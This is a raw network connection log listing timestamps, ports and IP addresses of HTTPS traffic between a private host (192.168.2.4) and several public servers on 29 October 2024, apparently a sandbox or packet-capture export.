Oct 29, 2024 10:46:44.502186060 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:44.502296925 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:44.502756119 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:44.502773046 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:44.584862947 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.584896088 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.989362955 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:44.989453077 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:44.989537001 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:44.994398117 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:44.994434118 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:45.367269993 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:45.367517948 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:45.367539883 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:45.368396997 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:45.368453026 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:45.578169107 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:45.578320980 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:45.627353907 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:45.627365112 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:45.686451912 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:45.854710102 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:45.854808092 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:45.862437010 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:45.862476110 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:45.862808943 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:45.905728102 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.095622063 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.143336058 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:46.461621046 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:46.461699963 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:46.461792946 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.467279911 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.467355013 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:46.467391968 CET	49740	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.467411041 CET	443	49740	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:46.567218065 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.567306042 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:46.567408085 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.567780018 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:46.567811012 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.404834032 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.404925108 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:47.406619072 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:47.406632900 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.406881094 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.408133030 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:47.455344915 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.650259972 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.650346994 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.650423050 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:47.651211977 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:47.651237965 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:47.651258945 CET	49742	443	192.168.2.4	184.28.90.27
Oct 29, 2024 10:46:47.651267052 CET	443	49742	184.28.90.27	192.168.2.4
Oct 29, 2024 10:46:55.368357897 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:55.368417025 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:46:55.368463039 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:56.298468113 CET	49739	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:46:56.298489094 CET	443	49739	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:06.752775908 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:06.752847910 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:06.753451109 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:06.755841970 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:06.755873919 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:06.758275986 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:06.758322001 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:06.758450985 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:06.758968115 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:06.758984089 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.377832890 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.383364916 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.399235010 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.399274111 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.399698019 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.399749994 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.400865078 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.400938988 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.401257038 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.401357889 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.412189960 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.412343979 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.412997961 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.413153887 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.413171053 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.413189888 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.413645983 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.413676977 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.471183062 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.471187115 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.541527033 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.541619062 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.541676998 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.541718960 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.541721106 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.541733027 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.541771889 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.541892052 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.541939974 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.542238951 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.542964935 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.543000937 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.543030024 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.543046951 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.543087959 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.549504042 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.549583912 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.549642086 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.549689054 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.549698114 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.549736023 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.549758911 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.550348043 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.550393105 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.550436020 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.550438881 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.550448895 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.550517082 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.551099062 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.551158905 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.661993027 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662079096 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662117004 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662148952 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.662184954 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662286043 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.662292004 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662305117 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662358999 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662365913 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.662379980 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.662506104 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.663114071 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.663163900 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.663352966 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.663367987 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.663978100 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.664025068 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.664048910 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.664062023 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.664144993 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.664155960 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.664839029 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.664875984 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.664901018 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.664916039 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.665281057 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.665577888 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.666963100 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667042017 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667074919 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667092085 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.667123079 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667181969 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.667336941 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667439938 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667479038 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667522907 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.667531967 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.667576075 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.668204069 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.668240070 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.668319941 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.668328047 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.668972015 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.669020891 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.669023037 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.669033051 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.669079065 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.669087887 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.669099092 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.669409037 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.669929981 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.669971943 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.670023918 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.670068026 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.670075893 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.670151949 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.670799971 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.703516006 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.703598976 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.703615904 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.718470097 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.751840115 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.782130957 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782269001 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782301903 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782327890 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.782354116 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782403946 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782437086 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782449961 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.782469034 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.782495975 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.783104897 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.783140898 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.783202887 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.783217907 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.783267021 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.783277035 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.783381939 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.783606052 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.783618927 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.784085989 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.784122944 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.784181118 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.784194946 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.784238100 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.784616947 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.784650087 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.784820080 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.784877062 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.784902096 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.785000086 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.785089016 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.785171032 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.785177946 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.785219908 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.785226107 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.785439968 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.785487890 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.786489964 CET	49750	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:07.786503077 CET	443	49750	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:07.786580086 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.786623955 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.786657095 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.786676884 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.786695004 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.786725044 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.786725044 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.786746979 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.823812008 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.823837996 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.823889017 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.823920965 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.823940992 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.866590977 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.902896881 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.902977943 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.903042078 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.903064966 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.903093100 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.904138088 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.904165983 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.904205084 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.904222965 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.904268026 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.905234098 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.905253887 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.905316114 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.905333996 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.906199932 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.906220913 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.906251907 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.906265020 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.906300068 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.907107115 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.907124996 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.907183886 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.907201052 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.907227039 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.908787966 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.908816099 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.908900976 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.908909082 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.943954945 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.943975925 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.944060087 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:07.944089890 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:07.991592884 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.023844957 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.023857117 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.023951054 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.023993969 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.023996115 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024003983 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024055958 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024055958 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024080038 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024100065 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024131060 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024141073 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024156094 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024162054 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024171114 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024220943 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024220943 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024235964 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024247885 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024303913 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024317026 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024342060 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.024367094 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.024396896 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.025285006 CET	49749	443	192.168.2.4	151.101.2.137
Oct 29, 2024 10:47:08.025317907 CET	443	49749	151.101.2.137	192.168.2.4
Oct 29, 2024 10:47:08.704062939 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:08.704119921 CET	443	49751	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:08.704179049 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:08.704628944 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:08.704643965 CET	443	49751	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:08.717652082 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:08.717689991 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:08.717808962 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:08.717959881 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:08.717983007 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:08.719542027 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:08.719585896 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:08.719641924 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:08.720053911 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:08.720069885 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.318008900 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.318567991 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.318598986 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.319528103 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.319587946 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.320175886 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.320238113 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.320698023 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.320708036 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.325081110 CET	443	49751	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.325509071 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.325546026 CET	443	49751	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.326512098 CET	443	49751	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.326575994 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.327820063 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.327855110 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.327889919 CET	443	49751	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.327925920 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.327956915 CET	49751	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.328253984 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.328296900 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.328356981 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.328970909 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.328986883 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.338715076 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.339288950 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.339306116 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.340728998 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.340804100 CET	49753	443	192.168.2.4	104.17.25.14
